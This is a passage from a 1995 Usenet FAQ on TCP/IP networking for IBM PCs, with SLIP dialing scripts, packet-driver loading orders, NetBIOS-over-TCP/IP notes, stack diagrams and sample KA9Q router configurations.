your software doesn't support grabbing the address and inserting it into the setup files. If not, then you may have to edit your setup files every time you log on. Yuck! Chameleon includes a version of SLIP which can handle dynamic addressing. The most recent version of Novell's Lan Workplace for DOS does as well. You can also retrieve your address using RARP, BOOTP or DHCP. RARP is only available to those on the same LAN as the RARP server, since it uses broadcasting. BOOTP clients can access BOOTP servers on other LANs via BOOTP relay. DHCP is a BOOTP extension, which allows complete configuration of a client from info stored on a DHCP server, and in addition supports new concepts such as \"address leases\". Since DHCP frames are very similar to BOOTP frames, devices supporting BOOTP relay will also support DHCP relay. Of course, for DHCP or BOOTP to work, you will need to set up a DHCP or BOOTP server. DHCP servers are available for UNIX, and Windows NT; BOOTP servers are available for UNIX (BOOTPD, from CMU). PPP also supports server assignment of TCP\/IP addresses. B-2. How do I configure SLIPDIAL? From Ashok Aiyar, mailto:ashok@biochemistry.bioc.cwru.edu: PHONE Script Files: PHONE comes with several scripts (for various modems) and for the University of Minnesota Terminal server built into it. The command PHONE WRITE writes these scripts to an ASCII file called PHONE.CMD, which can be edited to your needs (modem and slip server) The documentation that accompanies PHONE, provides good instructions on writing script files to get PHONE to dial SLIP servers other than the University of Minnesota server. For example here is a script that I use to dial a CISCO server at the University that I attend. Background: To start a SLIP connection, I dial our terminal server, and login with a username and password. After doing so, I start a SLIP session with the following command \"slip usernamF-slip.dialin.cwru.edu\", followed by my password -- again. Here then is the relevant portion of the PHONE.CMD script file - # # CWRU-TS2 SLIP login script by Ashok Aiyar 3\/26\/93 # Last revised 3\/28\/93 Procedure Host.CWRU.Login TimeOut 60 'CWRU-TS2 terminal server is not responding' Message \"CWRU-TS2 SLIP login script -- Version 1.1\" Message 'Waiting for SLIP server to respond' Quiet ON Expect 'Verification' Message 'Request for User Verification Received from CWRU-TS2' Message 'Sending your user name and password' Quiet OFF Expect 'Username:' Send '%u<' Expect 'Password:' Private Send '%p<' Reject 'Access denied' 'Your user name or password was not accepted' TimeOut 30 'SLIP server did not respond to your validation request' Expect 'CWRU-TS2>' Send 'SLIP<' TimeOut 10 'SLIP server did not respond to SLIP command' Expect 'IP hostname or address:' Send '%u-slip.dialin.cwru.edu<' TimeOut 10 'SLIP server did not respond to hostname' Reject 'Bad IP address' 'Incorrect Hostname' Expect 'Password:' Send '%p<' Reject 'Access denied' 'Password not accepted.' TimeOut 10 Expect 'Header Compression will match your system' Message 'Login to CWRU SLIP server successful' Wait 1.0 EndProcedure Host.CWRU.Login # # Procedure Host.CWRU.LogOut # Nothing special needs to be done to logout EndProcedure Host.CWRU.LogOut # # End of Script file # ---------------------------------------------------------------------- How to use packet drivers other than UMSLIP with PHONE? The quick answer -- there is no \"clean\" way. Below is a batch file hack that I wrote to use PHONE with other packet drivers. In this example, the packet driver is Peter Tattam's CSLIPPER. To use a batch file like this, you must know the parameters with which you plan to use the packet driver -- i.e interrupt vector, baud rate, port address, and IRQ. This batch file requires UMSLIP.COM, CSLIPPER.EXE, and TERMIN.COM to be in the same directory or in your path ... All that the BATCH file does is to let you dial the SLIP connection using PHONE, load the appropriate packet driver, hangup the connection, and unload the driver when you are done ... -- being CWRUSLIP.BAT -- @echo off rem this batch file is an ugly hack of U. of Minn. \"SLIP.BAT\" rem awaiting a version of C\/SLIPPER that can directly interact rem with PHONE rem CWRUSLIP.BAT file is used with PHONE.EXE to start a SLIP rem connection on CWRU-TS2 rem last modified 3\/28\/93 -- Ashok Aiyar @echo off cls goto start :start if %1. == ?. goto help if %1. == help. goto help if %1. == setup. goto setup if %1. == dial. goto forceD if %1. == hangup. goto forceH if %1. == quit. goto forceH if %1. == HELP. goto help if %1. == SETUP. goto setup if %1. == DIAL. goto forceD if %1. == QUIT. goto forceH goto bogus goto unload :forceH termin 0x60 umslip >nul phone force hangup goto unload :slipper termin 0x60 REM the following line must be changed to reflect the COM port, REM IRQ, baud rate, and software interrupt lh c:\\packet\\cslipper com1 vec=60 baud=57600 ether goto end :forceD termin 0x60 umslip >nul phone force dial goto slipper :setup termin 0x60 umslip >nul phone setup goto help :unload termin 0x60 goto end :bogus echo %1 is not a valid command. echo Try \"cwruslip help\" for a list of valid commands echo. :help echo -------------------------------------------------------------- echo Case Western Reserve University SLIP Setup echo using Univ. of Minnesota PHONE echo -------------------------------------------------------------- echo cwruslip setup modem settings, phone number, username etc. echo. echo cwruslip dial DIAL and establish the SLIP connection echo cwruslip quit HANGUP the phone and unload the driver echo cwruslip help this screen echo. :end -- end CWRUSLIP.BAT -- B-3. How do I install packet drivers for Windows applications? The secret is to load the packet driver, then run Windows. If you are running Trumpet Winsock, you will also have to load WINPKT before running Windows, as follows: winpkt 0x60 If you are running DOS applications within a virtual DOS session under Windows, you should load PKTMUX after your packet driver, as follows: PKTMUX 4 [or however many sessions you want] WIN [load windows] Then within each DOS session, load PKTDRV, the virtual packet driver. If you are running Trumpet Winsock along with other DOS apps in a virtual DOS session, then you will need to load PKTDRV prior to loading Windows, and then load WINPKT on top of it, as follows: PKTMUX 4 PKTDRV 0x62 WINPKT 0x62 PKTDRV 0x60 WIN TCPMAN will then find the virtual packet driver at 0x62. B-4. When do I need to install WINPKT? You only need to load WINPKT before Windows if you have a network card in your computer, or are running a packet driver that simulates such a card, such as EtherPPP, or CSLIPPER in Ethernet simulation mode. If you are using Trumpet Winsock via SLIP\/CSLIP, there is no need to load WINPKT, since you can use Trumpet Winsock's built-in CSLIP driver. PKTMUX and WINPKT both accomplish the same thing: allowing you to connect to a DOS packet driver running in real mode from a virtual DOS session under Windows. PKTMUX is useful when you are running more than one TCP\/IP stack, and since it takes up more RAM and is slower than WINPKT, you should only use it when you want to run more than one stack at a time. If you are running only one DOS app, or are using Trumpet Winsock, stick with WINPKT. James Harvey (mailto:harvey@iupui.edu) notes: Winpkt is only useful running DOS applications with built-in TCP\/IP stacks under Windows, and for some Windows-based stacks (like the Trumpet winsock.dll). When an application registers with a packet driver TSR to receive packets of a specified protocol type, one of the things it hasto pass as a parameter to the packet driver in the call is the address of a routine in the application that the packet driver is to call when it has a packet to pass back to the application. In the case of an application running in 386 enhanced mode in a DOS shell under Windows that is using a packet driver loaded in real mode before Windows was loaded, the packet driver must ensure that Windows has the application in memory when it does the callback, otherwise the callback jumps off into space and your system locks up. Winpkt does a Windows system call to force the app into memory before the callback is done. Erick Engelke (mailto:erick@uwaterloo.ca) notes: Windows in enhanced mode uses the protected mode of the 386 CPU to create multiple virtual machines. Winpkt tells Windows to switch to the correct virtual machine before trying to pass up the packet. This reduces the chances of Windows crashing. B-5. How to do I run both WinQVT and ODI? My advice is to use the Windows Sockets version of WinQVT\/Net, Trumpet Winsock, and ODIPKT. ODIPKT will allow you to run packet driver software over ODI. You will also need to load WINPKT for Trumpet Winsock. The loading sequence is: LSL [Link support layer] NE2000.COM [or other ODI driver] IPXODI [IPX version supporting ODI] NETX ODIPKT 1 96 WINPKT 0x60 WIN [run windows] Then run Trumpet Winsock, and load WinQVT\/Net. B-6. Is it possible to use BOOTP over SLIP? Yes, but it is easier to use dynamic address assignment to get your IP address. This is where the SLIP server outputs your IP address before switching to SLIP. If you need BOOTP, then you should run a BOOTP server on the SLIP server so that it can tell which SLIP connection originated the request. Of course, the BOOTP server will ignore the hardware address of the request originator, but instead will keep track of the SLIP interface the request came in on. See the question on adding BOOTP to KA9Q for info on how to handle this on the PC. Under UNIX, you may have to add BOOTP capability to your slip driver, and rebuild the kernel. (Not recommended for the squimish). B-7. How do SLIP drivers work? Some TCP\/IP applications are written to only support Class 1 (Ethernet) packet drivers, but do not support Class 6 (SLIP). For these applications, you need software to make the application think it is dealing with a class 1 interface. This is done by adding fake ethernet headers to incoming SLIP or PPP packets and stripping the headers off outgoing packets. B-8. When do I need to install PKTMUX? PKTMUX is needed to allow you to use more than one TCP\/IP stack at the same time. This is useful if you have applications that require different stacks. Note that you do not need PKTMUX to run different protocols, since packet drivers only look at packets in the protocol they're designed to handle, and therefore you can use more than one of these at a time without conflict. You also don't need PKTMUX if all your applications use the same TCP\/IP stack. PKTMUX works by looking at outgoing datagrams, and caching information on source and destination ports and addresses. Using this information, PKTMUX tries to sort incoming datagrams by TCP\/IP stack. If it can't figure out which stack to send a datagram to (as might be the case if you were running a server application on a well-known port, and had not sent any outgoing packets yet), PKTMUX will send the datagram to all stacks. If all stacks do not complain about the datagram, PKTMUX will throw away the ensuing outgoing ICMP error message, assuming that one of the stacks correctly received the datagram. If all stacks complain, it will send a single ICMP message and throw the rest away. While PKTMUX does its job very well, there are some situations that it cannot handle, such as port conflicts. If two applications open the same TCP port, chaos is inevitable, and there is little that PKTMUX can do to help. B-9. Can NDIS be used underneath multiple protocol stacks of the same type? No. There is no equivalent to PKTMUX for NDIS. B-10. Is there an NDIS over packet driver shim? Joe Doupnik writes: \"No. Packet Drivers work by having an application register for a particular packet TYPE, such as 0800 for IP. NDIS works much differently, by offering a peekahead of every packet to applications in turn, a polling operation. The only way NDIS could gracefully sit on a PD would be to run the Packet Driver in all-types mode and let NDIS see all pkts not used by other clients. Needless to say, that's an undesirable situation. The quick solution, costing about US$100 (at least at my place,\nmore at yours) is a second Ethernet board in the client together with a\n\nB-11. How do I run NetBIOS over TCP\/IP?\n\nNetBIOS over TCP\/IP is discussed in RFCs 1001 and 1002, which defines\nthree types of NetBIOS nodes:\n\n* B nodes, which use UDP broadcast packets to distribute datagrams and\nresolve names.\n* P nodes, which use point-to-point communications and which\nrequire NetBIOS Datagram Distribution (NBDD) and NetBIOS Name\nServers (NBNS). P nodes do not listen to or use broadcast\nservices, so they cannot be used alongside B nodes. Unfortunately NBNS,\nand NBDD servers were not widely implemented, and those\nthat do exist (such as an implementation from Network Telesystems)\nare not inexpensive.\n* M nodes, which use both point-to-point and broadcast.\n\nB node technology cannot be used on an IP internet without extensions,\nsince UDP broadcast packets are not forwarded through routers. This\nis not a problem with use of NetBIOS over IPX\/SPX, since in IPX\/SPX\n\nHowever, until very recently, M and P node technology was not supported\nby popular TCP\/IP implementations. For example, PC\/TCP supports\nB node technology with extensions such as a broadcast file, host file,\nor DNS resolution of NetBIOS names. Windows NT and WFW TCP\/IP uses an\nLMHOSTS file for resolving names.\n\nAccording to Chip Sparling of FTP Software:\n\n\"From what I remember from our discussions of a few years ago, P\nnodes were only implemented by Ungermann Bass and 3COM (and they\nrequired you to use a NetBIOS name resolver which was non-rfc 1001, 1002 compliant),\nnobody did M nodes (as far as I remember) and PC-LAN, Lantastic and\nLanManager used B node. Also, if you did a P or M node it wouldn't be\ncompatible with a B node NetBIOS. We decided that we could give the\ncompatibility and functionality (routability) with a B node plus\nextensions implementation. So, that's what we did.\"\n\nWithout implementation of M and P node technology, the only way\nto run over an IP internet is to to implement B node technology\nwith extensions, as FTP Software does in PC\/TCP. According to Chip,\n\"one way to handle large numbers of hosts on multiple networks is\nlike nnn.nnn.nnn.255. which will cover an entire subnet.\"\n\nAssuming you don't need any of the extensions to RFC NetBIOS\nMicrosoft created to make NetBIOS work smoothly in a routed environment\n(available only in their IP stack), you can choose from a wide variety of\ncommercial vendors. For example, FTP Software's PC\/TCP includes RFC NetBIOS\nsupport; Performance Technologies has a NetBIOS that runs over packet drivers,\nas does Accton (LANSoft).\n\nIf any other vendors are reading this, I'd love to have information\non how *you* implement NetBIOS over TCP\/IP, and whether you'll be\nsupporting WINS, the new P-node technology name resolution service\nfrom Microsoft.\n\nWINS support is included in the recent release of TCP-IP\/32 which\n\nAnother recent development is the release of an NBNS and SMB\nserver for UNIX, known as Samba. Samba works great, I am using\nit. See resource section for details.\n\nB-12. How do I run NFS along with another TCP\/IP application?\n\nThe DOS NFS implementation by M. Durkin now supports a built-in\npacket multiplexer that can handle NFS plus another stack loaded\nsimultaneously. If you need to load more stacks, then you will need\nto run PKTMUX as well.\n\nSee the resource section for details.\n\nB-13. How do I run Trumpet Winsock along with KA9Q or NFS?\n\nThe secret is to load WINPKT on top of the PKTDRV virtual\npacket driver, if you are running PKTMUX.\n\nB-14. I am trying to run Netware and TCP\/IP at the same time, using\nPDETHER. How do I do this?\n\n\"On one PC running odipkt over the ODI driver for the pocket ethernet\nadaptor resulted in a 10x performance *decrease*. So I switched to\nrunning IPX\/SPX over a paket driver for this adaptor wich performs\nvery well. The setup is like:\n\npkdriver 0x60\nlsl\npdether\nipxodi\nnetx\nwinpkt 0x60\n\nI had to get pde103.zip from netlab2.usu.edu to get IPX with Ethernet\nII frameing to work. The older pdether from simtel didn't work.\nIt seems also like winpkt has to be loaded last.\"\n\nB-15. Sample Stick Diagrams\n\nIt has been proposed that we begin to collect some diagrams of working\ncombinations of hardware, drivers, shims, stacks, and applications. I'm\ngame, and have made a start below. If you've got some other exotic\nconfiguration that works (or if you've tried one of the configurations below\nand discovered it doesn't work, drop me a line).\n\nRunning an individual DOS application under Windows\n\nNCSA telnet \/ DOS Trumpet \/ POPmail\/ PC Gopher III\n|\nDOS Session\n|\nWindows 3.1\n|\nWinPKT\n|\nPacket driver or Shim\n|\nDOS\n|\n\nDOS Trumpet, NCSA Telnet, and WinQVT\/Net over Ethernet under Windows\n\nQVT\/NET\n|\nTRUMPET NCSA telbin |\n| | |\nPKTDRV1 PKTDRVn |\n| | |\nDOS Session DOS Session Windows Session\n+-----------+-----------------+ |\n| |\n+ |\nWINDOWS 3.1 ............. WINDOWS 3.1\n| |\n| PKTINT(QVT\/NET own)\n| |\n| PKTDRVx\n+-------------------------------+\nPKTMUX n\n|\nPacket Driver or SHIM\n|\nDOS\n|\n\nPC Gopher III, NCSA Telnet over CSLIP under Windows\n\nPC Gopher III NCSA telbin\n| |\nPKTDRV1 PKTDRVn\n| |\nDOS Session DOS Session\n+-----------+-----------------+\n|\n+\nWINDOWS 3.1\n|\n|\n|\n|\n+\nPKTMUX n\n|\nCSLIPPER\n|\nDOS\n|\nSerial Port\n\nPC Gopher II and NetWare on a LAN - Alternative I\n[Didn't work for me, but it's supposed to be OK]\n\nNetWare\nPC Gopher |\nIII |\n| |\nDOS Session NETX\n| |\nWindows 3.1 |\n| PDIPX\nWINPKT \/\n\\ \/\n\\ \/\n\\ \/\n\\ \/\nPacket Driver\n|\nDOS\n|\n\nPC Gopher III and NetWare on a LAN - Alternative II\n\nPC-Gopher III\n|\nDOS Session\n|\nWindows 3.1\n|\n|\nNetWare |\n\\ \/\nNETX WINPKT\n\\ \/\nIPXODI ODIPKT\n\\ \/\n\\ \/\n|\n|\nODI driver\n|\nDOS\n|\n\nWinQVT\/Net and PC Gopher II and NetWare over a LAN - Alternative I\n\nPC Gopher\nIII\n| Win QVT\/Net\nPKTDRV1 |\n| |\nDOS session Windows 3.1\n| |\nWindows 3.1 PKTINT (QVT\/NET own)\n| |\n| PKTDRVn\nWinPKT |\n| | NetWare\n+----------------+ |\n| |\n| |\nPKTMUX n NETX\n| |\n\\ PDIPX\n\\ |\n\\ |\n\\ |\n\\ |\nPacket Driver --------------+\n|\nDOS\n|\n\nWinQVT\/Net, PC Gopher III and NetWare over a LAN - Alternative II\n\nQVT\/Net\nPC Gopher III NCSA telbin |\n| | |\nPKTDRV1 ..... PKTDRVn |\n| | | |\nDOS Session DOS Session Windows Session\n+-----------+-----------------+ |\n| |\n| |\nWINDOWS 3.1 .......................WINDOWS 3.1\n| |\n| PKTINT(QVT\/NET own)\n| |\n| PKTDRVx\n| |\n| |\n| |\n| |\n+------------------+------------+\n|\nNetWare |\n\\ \/\nNETX PKTMUX n (use if >1 TCP\/IP app)\n\\ \/\nIPXODI ODIPKT\n\\ \/\n\\ \/\n|\n|\nODI driver\n|\n\nPC Eudora and Windows Trumpet over CSLIP\/PPP under Windows using Trumpet Winsock\n\nPC Eudora Windows Trumpet\n\\ \/\n\\ \/\n\\ \/\n\\ \/\nTCPMAN\n|\nWindows 3.1\n|\nWINPKT 0x60\n|\nDOS\n|\nSerial Port\n\nPC Eudora and Windows Trumpet supporting Ethernet and CSLIP\/PPP under Windows\nusing NDIS supporting stack [Chameleon]\n\n[Please note: this is not possible under Trumpet Winsock, since it can\nonly handle a single interface; it requires a stack that routes]\n\nPC Eudora Windows Trumpet\n\\ \/\n\\ \/\n\\ \/\n\\ \/\nChameleon NEWT\n|\nWindows v3.1\n|\n+------------------+\n| |\nProtocol Manager |\n| |\nNDIS Mac Driver Serial Port\n|\nDOS\n|\nEthernet card\n\nPC Eudora, Windows Trumpet, and KA9Q under Windows\n\nWinTrump PC Eudora\n\\ \/\n\\ \/\nKA9Q \\ \/\n| |\nPKTDRV TCPMAN\n\\ |\n\\ \/\n\\ \/\n\\ \/\n\\ \/\nWindows\n|\nPKTDRV 0x62\n|\nPKTMUX 2\n|\nPacket Driver\n|\nDOS\n|\nEthernet Card\n\nHGopher, PC Eudora, and WinTrumpet Under Windows\n(Whether the TCP\/IP stack is loaded before or\nafter Windows depends on the stack)\n\nHGopher\n|\n|\nPC |\nEudora | WinTrumpet\n\\ | \/\n\\ | \/\n\\ | \/\n\\|\/\nTCPMAN\n|\nWindows 3.1\n|\nWINPKT\n|\nPacket Driver\n|\nDOS\n|\nEthernet Card\n\nB-16. Strange and wonderful configuration files submitted by readers\n\nRobert Clift (mailto:clifta@sfu.ca) writes:\n\n\"I have WinQVT\/Net 3.4, PC Gopher III (including NCSA DOS Telnet), KA9Q\n(gopher and FTP server), and POPMail all running together under Windows\nover PKTMUX on a 3C503 packet driver (and Ethernet card).\"\n\nHere is the stick diagram (yikes!):\n\nWin\/QVTNet 3.7 KA9Q Gopher PC POPMail 3.2 PC Gopher III 1.01\non interrupt 65 & FTP Server \\ \/\n\\ | \\ \/\n\\ | \\ \/\n\\ | \\ \/\n\\ PKTDRV PKTDRV\n\\ | \/\n\\ DOS Session DOS Session\n\\ | \/\n\\ | -------------------\n\\ | \/\nWindows 3.1\n|\nPKINT\n|\nPKTDRV on Int 65 no listeners set\n|\nPKTMUX 1.2 with 3 channels\n|\nClarkson 3C503 Packet Driver\n|\nDOS\n|\n|\nEthernet\n\nNOTES:\n\nWin\/QVTNet must be loaded as the very first Windows application and must be\nkept operating as long as your are in Windows. It appears that its TCP\/IP\nstack does some strange things when it disconnects and kills access to the\nactual packet driver.\n\nI run PC gopher and POPMail alternatively, so they share one channel which\nis allocated via PKTDRV before running the application and deallocated\nafter the application is finished (I usually throw in a reset command to\nPMTMUX as well just to be safe).\n\nTo explain what is happening (as best I can since a lot of this came from\nexperimentation):\n\n1. The packet driver is loaded\n2. PKTMUX is run over the packet driver in order to multiplex it (in this\ncase three channels).\n3. A virtual packet driver is loaded for Win\/QVTNet on interrupt 65 and\nthe packet driver is told that it is not to listen for any server\nrequests.\n4. PKINT is loaded over top of the virtual packet driver\n5. Start Windows and run Win\/QVTNet as the first application, it must be\nkept running throughout the Windows session.\n6. Load a virtual packet driver from a DOS session and start KA9Q. I use\nthe following batch file to do this:\n\nc:\\network\\pktdrv 63 \/l\nh:\ncd \\\nnet091b\nc:\\network\\pktdrv 63 \/uu\nc:\\network\\pktmux \/r\n\n7. Load a virtual packet driver and run PC Gopher or POPMail as needed. I\nuse the following batch files for PC Gopher and POPMail respectively:\n\nc:\\network\\pktdrv 63\nh:\\goph-cli\\gopher \/T=h:\\goph-cli\\text \/X=h:\\goph-cli\\binary\nc:\\network\\pktdrv 63 \/uu\n\nc:\\network\\pktdrv 66 \/c\nh:\\popmail\\popmail \/noems\nc:\\network\\pktdrv 66 \/uu\n\n8. The only problem seems to be that the NNTP module in Win\/QVTNet will\nnot operate correctly if POPMail is operating. Otheriwse it seems to\nwork okay without too many problems.\n\n------------------------------ END OF PART 1 ------------------------\n\nBernard Aboba\nAuthor of:\nThe Online User's Encyclopedia, Addison-Wesley, 1994\nThe PC-Internet Connection, Publisher's Group West, due in 1995\nmailto:aboba@netcom.com\nFTP archive: ftp:\/\/ftp.zilker.net\/pub\/mailcom\/\nWWW page: http:\/\/www.zilker.net\/users\/internaut\/index.html\n\nFrom: aboba@netcom.com (Bernard Aboba)\nSubject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 2 of 5\nExpires: Fri, 12 May 1995 00:00:00 GMT\nFollowup-To: poster\nKeywords: TCP\/IP, IBM PC, SLIP, PPP, NDIS, ODI\nOrganization: MailCom\nPC-Compatible Computers\n\nArchive-name: ibmpc-tcp-ip-faq\/part2\n\ncomp.protocols.tcp-ip.ibmpc:\nFAQ Posting, part 2, 4\/1\/95\n\nC. KA9Q Questions\n\nC-1. What version of KA9Q should I use and where do I get it?\n\nThere are so many releases of KA9Q that it is a significant amount of\nwork just to keep track of them all. This has occurred partly because\nKA9Q does not support extended or expanded memory, and therefore many\npeople have needed to customize it with the features relevant to them\nin order to allow it to do what they want as well as fit into memory.\nThe primary difference among the various releases is whether they\ninclude code for a BBS, packet radio support (AX.25), synchronous cards (for\nuse with leased lines), NNTP, CSO or Gopher servers, packet filtering, DNS,\nBOOTP, RIP or PPP support.\n\nThe three primary KA9Q releases at this time are those managed by Ashok Aiyar\n(ashok@biochemistry.bioc.cwru.edu), those put out by Demon Internet\nServices (DIS), and the JNOS distribution. JNOS is the primary packet radio-\noriented release; the other two major releases do not include AX.25 support.\nSince JNOS does not include several features important to non-packet radio\nusers (DNS\/Gopher\/CSO server,hop check), try one of the other two releases\nif you're not interested in packet radio.\n\nAshok's release is based on the N1BEE 0.85-beta which in turn\nis based on PA9GRI 2.0m NOS. Version 11c includes support for NTP, CSO,\ngopher, FTP, FINGER, HTTP and SMTP\/POP2\/POP3 servers, plus VT102 and packet\nfiltering support. Please not that this release does *not* include radio or\nsynchronous card support, unlike the standard KA9Q release, and only supports\nSLIP\/CSLIP. Also, there is no DNS server support, and the tip command has been\nremoved, so that you need to use an external dialer to make the connection. It\ndoes however support BOOTP, and comes with a good manual which is fairly current\n(June 1994).\n\nAvailable as:\n\nftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/nos11c.exe,\nftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/nos11c.txt,\nftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/nos11c.map,\nftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/nos192.txt,\nftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/nos_1229.man,\nftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/vt102.zip,\nftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/filter.txt,\nftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/autoexec.nos\n\nThe TextWin version from Demon Internet Services includes support for\nDNS server, packet filtering, FTP, SMTP\/POP2\/POP3 servers, NNTP server,\nVT102 support, NTP, BBS, PPP, demand dial, ping, hop check\n(traceroute equivalent). I am using it now on my own LAN, it is great.\nHowever, SLIP\/CSLIP support is no longer compiled in by default;\nyou'll have to compile a custom version to get this.\n\nFrom mailto:mike@childsoc.demon.co.uk (Michael Bernardi):\n\n\"Demon Internet Services have a dialin Internet service in the UK.\nThey also support a customised version of KA9Q optimised for\ndialup, they also support the PCElm mailer, SNEWS news reader and\na customised front end. There is also a combined NEWS and MAIL\nprogram called CPPNEWS and an alternative MAIL program called\nVIEW, these last are unsupported by mailto:Internet@demon.co.uk but other\nDIS users do support them. All these programs can be found on\nftp:\/\/ftp.demon.co.uk\/pub\/ibmpc\/ and are written to\nwork with KA9Q (specifically the DIS version).\"\n\nAnthony McCarthy has added a multi-windowing system to KA9Q that\nsupports the mouse, which has been recommended. See Resource\nlistings for info.\n\nThe DIS release includes three versions, small, medium and large.\nThe large version includes everything but the kitchen sink, including\nan NNTP server. I also believe it includes the KA9Q BBS code, and\n\nEditorial: To my mind, the time has come for the major releases to combine\ntheir code bases and produce a version with the best features of all of them.\nTo my mind, the ideal KA9Q release would be a release combining the improved\nserver support of the CWRU release with the working PPP implementation, demand\ndial, packet filter and DNS server support of the DIS version.\n\nC-2. What do I need to run KA9Q? Why won't it do VT-100 emulation?\n\nKA9Q is usually run from a startup script, such as my script\nstartnos.bat:\n\n\\nos\\drivers\\8003pkdr\n\\nos\\net -d \\nos\n\nHere I first load the packet drivers for my 8003 Ethernet card, then\nrun KA9Q (known as net.exe).\n\nThe KA9Q package then reads commands from a configuration file, called\nAUTOEXEC.NOS in some implementations, AUTOEXEC.NET in others.\n\nFor VT100 emulation with KA9Q, try using Giles Todd's VT102.COM,\navailable via ftp:\/\/ftp.demon.co.uk\/pub\/ibmpc\/DIS.\n\nC-3. How do I configure KA9Q as a SLIP dialup connection?\n\nHere is a sample CSLIP only configuration file which will run\non the DIS version with CSLIP\/SLIP compiled in:\n\n# This config file is for use with the large TextWin\n# version of KA9Q available from ftp.demon.co.uk\n#\n# Set the host name\n#\nhostname foobar.com\n#\n# Configure COM3 on Interrupt 5, at 38400 bps with\n# RTS\/CTS (c) and Van Jacobsen Compression (v) and\n# MTU = 1008\n#\nattach asy 0x3e8 5 vjslip sl0 8092 1008 38400 cv\ndialer sl0 dialer.sl0\n#\n#\n# route all packets over sl0 by default (sl0 is the route\n# to the Internet)\n#\n#\n# Time To Live is the maximum number of hops a packet\n# can take before it is thrown away. This command\n# prevents packets from looping infinitely.\n#\nip ttl 255\n#\n# The Maximum Segment Size is the largest single\n# transmission that you care to receive. An mss of 216\n# will force folks to send you packets of 256 characters\n# or less (counting the overhead).\n#\ntcp mss 1048\n#\n# The Window parameter establishes the maximum number\n# of bytes that may be outstanding before your system\n# expects an ack. If window is twice as big as mss,\n# for example, there will be two active packets on the\n# channel at any given time. Large values of window\n# provide improved throughput on full-duplex links, but\n# are a problem on the air.\n# Keep mss <= window <= 2*mss if you're on the air.\n#\ntcp window 6888\n#\n# and will record the server activity of your system. If\n# you don't want a log, comment out this line; if you do,\n# make sure you have a \\spool directory!\n#\nlog \\textwin\\spool\\net.log\n#\n# Each of the servers (services you will provide) must\n# be turned on before they will be active. The\n# following entries turn all of them on. To turn any\n# function off use the command 'stop' after NET gets\n# fired up, or just comment out the line here.\n#\nstart ftp\nftpopt binary\nstart echo\n# start telnet\nstart smtp\n# This machine uses primary and seconary DNS servers\n# Command indicating presence of IBM AT\nisat on\n#\nsmtp gateway 140.174.7.1\n#\n#\n# THE END\n\ndialer.sl0 file:\n\n# Configuration section.\n#\nconfigure:\ninit \"ATZ\\r\"\ndial_cmd \"ATDT\"\nld_code \"\"\nnumber \"15108658169\"\nretries 5\n#\n# Execution section.\n#\nexecute:\n#\n# Toggle DTR.\n#\ncontrol down\nwait 2000\ncontrol up\nwait 2000\n#\n# Initialize the modem.\n#\ninit\nwait 3000 \"OK\"\n#\n# Dial and wait for connection.\n#\ndial\nwait 45000 \"CONNECT\"\n#\n#\nwait 60000 \"ogin:\"\nwait 1000\nsend \"userID\\r\"\nwait 60000 \"word:\"\n\nAfter executing this setup file, you should hear the modem dial out\nto your SLIP host. Assuming that the dialing script is correct,\nit should login and go into SLIP mode.\n\nType RESET at the prompt. This kills any residual processes that\nmay be operating.\n\nAt this point you should have a functioning connection. You might\ntry to ping your host via the command:\nIf this works, you will then see the round trip time to your host,\nin milliseconds.\n\nOther possible diagnostic commands:\n\nASYSTAT <interface> Gives statistics on packets received, sent, etc.\nVery useful, particularly if you need to know if\nyou should install a 16550 on your serial port.\nTRACE <interface> 1011 Shows incoming characters\nRIP TRACE 1 Traces RIP packets\nHOP CHECK <address> Traces the route to the designated system. Useful\nfor figuring out routing problems.\n\nC-4. How do I configure KA9Q as a router?\n\nI know have KA9Q up and running as a dial-on-demand router, using\nan old 386 with only 1 Mb RAM. Boy, is this great! The TextWin version\nsupports packet filtering, DNS server, FTP server, dial-on-demand, and PPP.\nThese capabilities put Textwin KA9Q head and shoulders above PCROUTE,\nin my humble opinion. About the only reason to use PCROUTE is if you\nhave an old 286 with just a floppy drive, but even then I'd urge\nyou to go out and get a 386\/16 for $300, just so you could implement packet filtering and be more secure. The KA9Q configuration that follows uses two interfaces, one a PPP interface (pp0), the other an Ethernet interface (lan). Here I am implementing dial on demand, and can also be doing packet filtering, and DNS serving on the same box. Please note the strange interrupt settings (Interrupt 5, port is COM3). One of the nice things about KA9Q is that it is flexible enough to deal with such situations. Here is a sample router configuration file for demand dial PPP: # This config file is for use with the large TextWin # version of KA9Q available from ftp.demon.co.uk # # Set the host name # hostname gate.foobar.com # # Configure COM3 on Interrupt 5, at 38400 bps with # RTS\/CTS (c) and PPP # attach asy 0x3e8 5 ppp pp0 8092 576 38400 c ifconfig pp0 ipaddress [192.187.147.2] ifconfig pp0 netmask 255.255.255.0 dialer pp0 dialer.ppp demand # ppp pp0 trace 2 ppp pp0 quick ppp pp0 lcp open ppp pp0 ipcp open # # Packet driver installed at software interrupt # number 0x60. # attach packet 0x60 lan 2 1500 ifconfig lan ipaddress [192.187.157.4] ifconfig lan netmask 255.255.255.0 # route add default pp0 # # The local Ethernet has a Class C network address so # route all IP addresses beginning with 192.187.157 to # it. route add 192.187.157\/24 lan # # if you had the default route instead going through # 192.187.157.4, you'd put in this statement: # route add default lan 192.187.157.4 # and take out the route add default pp0 statement # # Time To Live is the maximum number of hops a packet # can take before it is thrown away. This command # prevents packets from looping infinitely. # ip ttl 255 # # The Maximum Segment Size is the largest single # transmission that you care to receive. An mss of 216 # will force folks to send you packets of 256 characters # or less (counting the overhead). # tcp mss 576 # # The Window parameter establishes the maximum number # of bytes that may be outstanding before your system # expects an ack. If window is twice as big as mss, # for example, there will be two active packets on the # channel at any given time. Large values of window # provide improved throughput on full-duplex links, but # are a problem on the air. # Keep mss <= window <= 2*mss if you're on the air. # tcp window 6888 # # This entry will open net.log in the \\spool directory # and will record the server activity of your system. If # you don't want a log, comment out this line; if you do, # make sure you have a \\spool directory! # log \\textwin\\spool\\net.log # # Each of the servers (services you will provide) must # be turned on before they will be active. The # following entries turn all of them on. To turn any # function off use the command 'stop' after NET gets # fired up, or just comment out the line here. # start ftp ftpopt binary start echo start discard start 